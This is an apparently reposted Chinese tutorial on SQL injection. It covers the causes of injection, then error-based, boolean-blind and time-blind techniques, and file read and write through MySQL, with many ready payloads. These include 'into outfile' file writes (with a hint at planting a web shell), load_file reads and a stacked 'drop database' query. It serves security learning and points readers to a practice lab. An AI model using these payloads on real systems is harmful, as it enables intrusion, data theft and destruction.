一.为什么会有sql注入
- 不当的字符处理
- 不安全的数据库配置
- 不合理的查询处理
- 不当的错误处理
1.不当的字符处理
SQL数据库将单引号解析成了代码与数据的分割线,单引号外面的内容均是需要执行的的代码·。将用户输入直接传递给动态创建的SQL语句,单引号字符会被解析成字符分隔符,并作为代码与字符的分界。
注意:处理数字型数据是不需要使用单引号将数字数据引起来。
2.不安全的数据库配置
SQLSserver经常用“sa”作为数据库管理账户,MySQL使用“root”作为数据库管理账户,Oracle在创建数据库会创建SYS,SYSTEM和OUTLN账户。而一些默认账户会有默认密码。
3.不合理的查询处理
在进行数据库操作时,用户输入的数据没有严格的过滤,用户可以自己构造SQL语句,采用拼接、注释等方式构造SQL语句来执行自己的语句。(万能密码)
4.不当的错误处理
将详细的内部错误信息展示给用户或攻击者,一些错误信息会为攻击者提供网站缺陷或者有关的线索。开发和服务器配置时导致将错误直接回显。
二. SQL注入分类
- 以字符类型分类
数字型:不需要单引号和双引号闭合
字符型:在注入中考虑引号的闭合和注释 - 以注入方式分类
回显:将构造的SQL语句执行后的结果回显或者报错的形式显示出来。
盲注:开发时关闭错误显示,输入内容不在页面中展示出来
三.回显注入
- 回显正常:通过执行构造的SQL语句注入后,页面与原有页面存在差异但没有报错信息。
- 回显报错:通过执行构造的SQL语句之后,页面报错,且将报错信息显示在页面上。
四.回显报错
count() select count(*) from table_name 返回表内数据条数
select count(*); select count(222); 返回1
rand() select rand(); select(数字) 返回随机浮点数数
rand(5)=rand(5)
select rand(a); 直接报错 unknown column 'a' in 'field list'
select rand(a) from table_name; 如果表里有这个列名则返回浮点数,否则报错
rand() 默认为0到1 rand()*2 设置为0到2
group by 与order by 类似
-
floor() 报错注入
报错是因为floor(rand(0)*2)的不确定性,group by floor(rand(0)*2)出现的原因是key是两个随机数,检测临时表key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而报错,即检测时和插入时两次计算了随机数的值。 -
extractvalue()函数报错注入
输入了符合xpath_string格式的字符串导致的报错。 -
宽字节报错注入
使用宽字节编码问题。 -
其他报错注入
如join报错注入:利用自己join自己,来达到列名相同来爆破名。exp数学中求最小数字的相反数据报错等。五.盲注
我们通常在进行注入时不会有报错返回结果,所以要进行盲注。 -
布尔值盲注
and user()=‘root@localhost’
模糊测试
and user() like ‘r%’
可以一位一位测试 可以用burp跑 也可以写脚本… -
时间盲注
sleep() 睡眠暂停 若成功执行,返回0 若被中断则返回1
and sleep(5) 单位为s《设置5比较适中》
看返回结果响应时间
可以直接数也可以f12查看
if(expr1,expr2,expr3) 如果expr1为真则返回expr2;如果expr1为假则返回expr3
if() 的返回值为数字值或字符串值,具体情况看其所在语境
select if(1,'ture','flase'); 返回ture
select if(0,'ture','flase'); 返回flase
mid(str,num,num) mid(字符串,起始位数,查询位数)
select mid('asdf',1,2); 返回as
也可以这样 select mid((select username from admin where id=1),1,1);
select ascii(mid(user(),1,1))=114; 返回1 说明第一位是r
select if(ascii(mid(user(),1,1))=114,sleep(5),1); 如果user()第一位是r则延迟5秒后返回0,如果不是则直接返回1 用and链接
length() 长度函数
select length(user()) 14位用户名
and length(user())=a
select if(ascii(mid(user(),1,1))=114,sleep(5),1) 设置变量burp往出跑
and if(ascii(mid(user(),1,1))=114,sleep(5),1) 类似的也可以爆出其他信息
也可以这样 select if(mid(user(),1,1) like 'r%',sleep(5),1) 设置两个变量继续跑
ps:
暴力猜解
and exists(select * from table_name); 判断是否有table_name表
and exists(select flag from table_name)判断是否有flag字段,将flag作为变量猜解
利用length猜解字段长度
and (select length(flag) form table_name)>5
将数字5作为变量猜解
然后利用ascii码继续猜解
and (select ord(substr(flag,1,1)) from table_name)>97
把97作为变量猜解flag
**写入文件**
1.绝对路径 D:\php\WWW
2.最高权限 mysql- root 这里不是说你是root用户名就是最高权限了...
union select 1,"hackby123",3 into outfile "D:\\php\\WWW\\1.txt"
注意写目录时 因为 \ 有转移的意思,所以必须写\\ 或/
就会有一个1.txt的文件 内容为 1 "hackby123" 3
当然union联合查询要与前面的列数保持一致要不然会报错
这里也可以用来写入 一句话......
**读取文件**
load_file() 加载文件
replace()
hex() 转为十六进制防止乱码
事先判断好回显点
union select 1,load_file('D:/php/www/1.txt'),3
会出现文件中内容 一般将D:/php/www/1.txt转为十六进制
union select 1,load_file(0x443a2f7068702f7777772f312e747874),3
但这样如果文件中有中文或者文件内容过长时会出现乱码
所以转为十六进制,然后再转回字符,就解决了乱码问题
union select 1,hex(load_file(0x443a2f7068702f7777772f312e747874)),3
**删除信息**
select 1,2,3 from news where name='1251';drop database test #'
删除 test 数据库
推荐sqli_labs练习
转载:https://blog.csdn.net/x519461623/article/details/104535029